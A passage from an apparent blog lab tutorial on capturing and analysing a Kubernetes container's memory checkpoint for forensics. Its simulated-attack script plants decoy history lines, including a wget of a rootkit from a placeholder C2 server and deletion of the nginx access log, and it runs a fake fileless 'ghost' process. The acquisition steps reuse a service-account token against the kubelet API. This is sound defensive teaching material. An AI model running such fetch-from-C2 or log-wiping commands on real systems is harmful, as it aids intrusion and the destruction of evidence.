touch -t 202201010000 /etc/sys-config/miner.conf

# --- COMMAND HISTORY ---
# We force write to history so we can analyze the file later
echo "wget http://$C2_SERVER/rootkit.tar.gz" &gt;&gt; ~/.bash_history
echo "tar -xvf rootkit.tar.gz" &gt;&gt; ~/.bash_history
echo "rm -rf /var/log/nginx/access.log" &gt;&gt; ~/.bash_history

# --- FILELESS MALWARE (Memory + Ghost File) ---
# Copy a binary, run it, then DELETE it immediately.
cp /bin/sleep /tmp/kernel_worker
/tmp/kernel_worker 36000 &amp;
MALWARE_PID=$!

# Delete the binary from disk. 
# A standard disk snapshot will NOT find '/tmp/kernel_worker'.
rm /tmp/kernel_worker

echo "Attack executed. PID $MALWARE_PID running as ghost process."
echo "Session keeping alive..."
while true; do sleep 60; done</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QZnM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QZnM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 424w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 848w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 1272w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QZnM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png" width="1456" height="161" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:161,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:69004,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QZnM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 424w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 848w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 1272w, https://substackcdn.com/image/fetch/$s_!QZnM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc72b88-9095-4fa5-a203-a2e17297e9be_2646x292.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><h2>Part 5: Forensic Acquisition</h2><p>The attack is active. We need to extract the data without stopping the container.</p><h3>Step 1: Access the Node</h3><p>We use <code>kubectl debug</code> with the <code>amazonlinux:2023</code> image to ensure our tools match the host OS.</p><pre><code># Get Node Name
NODE_NAME=$(kubectl get pod web-victim -o jsonpath='{.spec.nodeName}')

# Start Debug Pod
kubectl debug node/$NODE_NAME -it --image=amazonlinux:2023 --profile=general</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zLwm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zLwm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 424w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 848w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 1272w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zLwm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png" width="1456" height="189" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:189,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:132827,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zLwm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 424w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 848w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 1272w, https://substackcdn.com/image/fetch/$s_!zLwm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F787f2c1f-1c61-4778-8594-b78eba69f388_2980x386.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>Step 2: Authenticate (The Token Swap)</h3><p>Inside the debug shell, we are <code>root</code>, but we aren&#8217;t authenticated to the Kubelet API yet.</p><pre><code># 1. Copy the ServiceAccount token to the host filesystem
cp /var/run/secrets/kubernetes.io/serviceaccount/token /host/tmp/forensic-token

# 2. Pivot to the Host Root
chroot /host</code></pre><h3>Step 3: Trigger the Container Checkpoint</h3><p>Now we &#8220;freeze&#8221; the RAM.</p><pre><code># Define Vars
TOKEN=$(cat /tmp/forensic-token)
POD="web-victim"
CONTAINER="nginx-container"

# Call the Checkpoint API
curl -X POST -k \
  -H "Authorization: Bearer $TOKEN" \
  "https://localhost:10250/checkpoint/default/$POD/$CONTAINER"</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BvvP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BvvP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 424w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 848w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 1272w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BvvP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png" width="1456" height="184" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/afb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:184,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:108505,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BvvP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 424w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 848w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 1272w, https://substackcdn.com/image/fetch/$s_!BvvP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7afd7-f0e6-44f6-b1c7-9bb81999a0e7_2646x334.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>Step 4: Exfiltrate</h3><p>Exit the <code>chroot</code> and the debug session. Run this from your laptop to copy the checkpoint file to local machine.</p><pre><code>#Create a node debugger pod
kubectl debug node/&lt;NODE_NAME&gt; \
  --image=amazonlinux:2023 \
  -- sh -c "sleep 300"

# Install tar utility
kubectl exec -it &lt;NODE_DEBUGGER_POD&gt; -- dnf install tar

# Copy files from the node (via the running debug pod)
# Assuming debug pod is named 'node-debugger-xyz'
kubectl cp node-debugger-xyz:/host/var/lib/kubelet/checkpoints/checkpoint-*.tar ./memory.tar</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-aLz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-aLz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 424w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 848w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 1272w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-aLz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png" width="1456" height="626" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:626,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:315901,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-aLz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 424w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 848w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 1272w, https://substackcdn.com/image/fetch/$s_!-aLz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At this stage, you will have a file called <code>memory.tar</code> on your local machine (the checkpoint file).</p><div><hr></div><h2>Part 6: The Analysis</h2><p>You are now the forensic analyst. Let&#8217;s find the evidence.</p><p><strong>Step 1:</strong> Extract the contents of the <strong>checkpoint</strong> archive obtained in the previous step.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!b2jb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!b2jb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 424w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 848w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 1272w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!b2jb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png" width="1456" height="883" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:883,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:659531,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!b2jb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 424w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 848w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 1272w, https://substackcdn.com/image/fetch/$s_!b2jb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3da2669c-9b91-4077-ae6c-293bccdf1a4d_2400x1456.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Step 2:</strong> The first step to analyse the container&#8217;s checkpoint further is to look at the files that have changed inside the container. This can be done by looking at the file <code>rootfs-diff.tar</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!D3Kw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!D3Kw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 424w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 848w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 1272w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!D3Kw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png" width="1456" height="883" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:883,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:518770,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!D3Kw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 424w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 848w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 1272w, https://substackcdn.com/image/fetch/$s_!D3Kw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faeed9a8a-86b9-4109-829e-df4fa14076d5_2400x1456.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" 